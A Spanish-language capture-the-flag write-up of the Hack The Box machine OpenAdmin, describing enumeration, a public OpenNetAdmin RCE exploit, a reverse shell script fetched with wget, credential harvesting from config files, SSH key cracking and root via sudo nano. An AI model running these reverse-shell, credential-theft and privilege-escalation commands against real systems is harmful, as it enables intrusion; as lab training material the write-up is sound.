Recuerdo especialmente esta máquina ya que en su momento en la oficina (Mnemo) la pusimos en actualidad y contexto, nos “picamos” algo en la resolución de la misma entre mis compañeros: @Pherec y @BigMike, y día a día fuimos adentrándonos en la misma. Pablo (@Pherec) fue quien se llevó “la pole”.

OpenAdmin se trata de una máquina Linux de dificultad Easy, que nos conduce al descubrimiento de aplicativos web “ocultos”, explotación de vulnerabilidades conocidas en aplicativos web, recopilación de información en recursos internos, acceso a usuarios intermedios, aprovechamiento de funciones en aplicativos web internos y finalmente la escalada de privilegios a través del editor de texto nano.

Resumen:

  • Enumeración de puertos
  • Identificación de servicio web y descubrimiento de plataformas
  • Explotación de vulnerabilidad RCE
  • Descubrimiento de credenciales en fichero
  • Primer acceso vía SSH
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

En esta oportunidad quiero mostrarles una “alternativa” que tomé a Nmap (imprescindible), bastante interesante. Se trata de un script basado en la herramienta en Go llamada FastTcpScan elaborado por @S4vitar. El script es el siguiente:

#!/bin/bash
for port in $(seq 1 65535); do
timeout 1 bash -c "echo > /dev/tcp/10.10.10.171/$port" 2>/dev/null && echo "Puerto: $port - Abierto" &
done; wait

El resultado de la ejecución de este script da:

A través del puerto 80 como es habitual, obtendremos el servicio HTTP. Si lo comprobamos vía navegador, evidenciaremos una página por defecto de Apache.

Inmediatamente haremos un barrido de directorios a través Gobuster a fin de identificar potenciales aplicativos web que nos puedas valer en el análisis.

gobuster -u http://10.10.10.171/ -w /usr/share/dirb/wordlists/common.txt

De esta manera lograremos encontrar el aplicativo music, que cuenta con el siguiente aspecto:

Al explorar como lo haría un usuario final, identificamos que al dar a la opción de login seremos dirigidos a la siguiente URL:

http://10.10.10.171/ona

Cabe destacar que este directorio ona, no se encuentra en los diccionarios habituales de consulta (common.txt, big.txt, directory-list-1.0.txt, directory-list-2.3-medium.txt…), por tanto, lograr identificarlo a través del barrido de directorio lo hace una posibilidad poco factible.

Remote code execution (RCE):

Nos quedamos con el nombre del aplicativo OpenNetAdmin y la versión del mismo v18.1.1. Lo siguiente será identificar potenciales vulnerabilidades conocidas en el mismo y posibles exploits públicos. Logrando encontrar el siguiente RCE:

Fuente del exploit: https://www.exploit-db.com/exploits/47691

Ejecutando el exploit de la forma correcta lograremos obtener acceso al sistema a través del usuario www-data.

./47691.sh http://10.10.10.171/ona/login.php

Por comodidad, adicionalmente me genero un fichero bash (hell.sh) para conseguir ejecutarlo en la máquina objetivo y de esta manera hacerme con una reverse shell.

Contenido: bash -i >& /dev/tcp/10.10.15.7/5231 0>&1
python -m SimpleHTTPServer
$ wget http://10.10.15.7:8000/hell.sh
nc -lvnp 5231
$ /bin/bash hell.sh

Obtención de usuario:

Antes de nada, una de las primeras cosas que realizo ya con el acceso al sistema, es identificar aquellos usuarios del sistema que cuenten con el interprete bash. Éstos usuarios serán mis objetivos.

cat /etc/passwd | grep bash

root:x:0:0:root:/root:/bin/bash
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

Desde mi ubicación (/opt/ona/www), logramos ver el directorio config y dentro del mismo el fichero config.inc.php.

Destacar que /var/www/ona es un enlace simbólico de /opt/ona/www.

ls -l /var/www/ona

lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 /var/www/ona -> /opt/ona/www

En el contenido del fichero config.inc.php logramos identificar las siguiente líneas:

cat /var/www/ona/config/config.inc.php

Ahora se trata de visitar esa ruta seleccionada en donde logramos hallar la siguiente contraseña.

cat /var/www/ona/local/config/database_settings.inc.php

Emplearemos Medusa para localizar el usuario de esta contraseña, identificando rápidamente que pertenece al usuario jimmy.

medusa -u jimmy -p 'n1nj4W4rri0R!' -h 10.10.10.171 -M ssh

Obtenemos acceso nuevamente a la máquina, esta vez por SSH.

ssh jimmy@10.10.10.171
hostname; hostname -I; id

Una vez más, por medio de los aplicativos web se logra identificar el recurso llamado internal. El mismo cuenta con los siguientes ficheros:

ls -l /var/www/internal/

Revisando el recurso main.php se observa la llamada al fichero id_rsa del usuario joanna.

cat main.php

Si verificamos las conexiones de red a través de netstat, se observa el puerto 52846 que se mantiene a la escucha.

netstat -ano | head

Empleando curl lograremos ejecutar el fichero mail.php y obtendremos el siguiente output:

curl 127.0.0.1:52846/main.php

Guardamos esta clave que pasaremos a “crackear” como en otras ocasiones a través de John The Ripper.

/usr/share/john/ssh2john.py id_rsa > Hash_joanna
john --wordlist=rockyou.txt Hash_joanna

Una vez conseguida la clave, nos conectaremos vía SSH y obtendremos la flag del user.

chmod 600 id_rsa
ssh -i id_rsa joanna@10.10.10.171
hostname; hostname -I; id; pwd
wc -c user.txt

Escalada de privilegios:

El proceso para conseguir elevar privilegios en esta máquina es bastante sencillo. A través de sudo conseguiremos listar el binario que puede el usuario joanna ejecutar con máximos privilegios, éste se trata de nano.

sudo -l

Nuevamente consultando GTFOBins lograremos encontrar las directrices necesarias para aprovecharnos de este binario.

Más información aquí: https://gtfobins.github.io/gtfobins/nano/

De lleno en la ejecución de nano a través de sudo, pulsaremos Ctrl +R y Ctrl + X y aquí es donde ejecutaremos los comandos deseados con máximo privilegios, al pulsar enter, obtendremos los resultados de cada uno:

sudo /bin/nano /opt/priv
^R^X
id; hostname; wc -c /root/root.txt

Para llegar a la flag de root basta con este proceso, pero adicionalmente podríamos obtener una shell interactiva y hacernos con el control del sistema por completo, ya eso depende de la necesidad de cada uno.

En fin, aquí tenemos nuevas técnicas que alimentan nuestro proceso de formación. Hasta el próximo reto.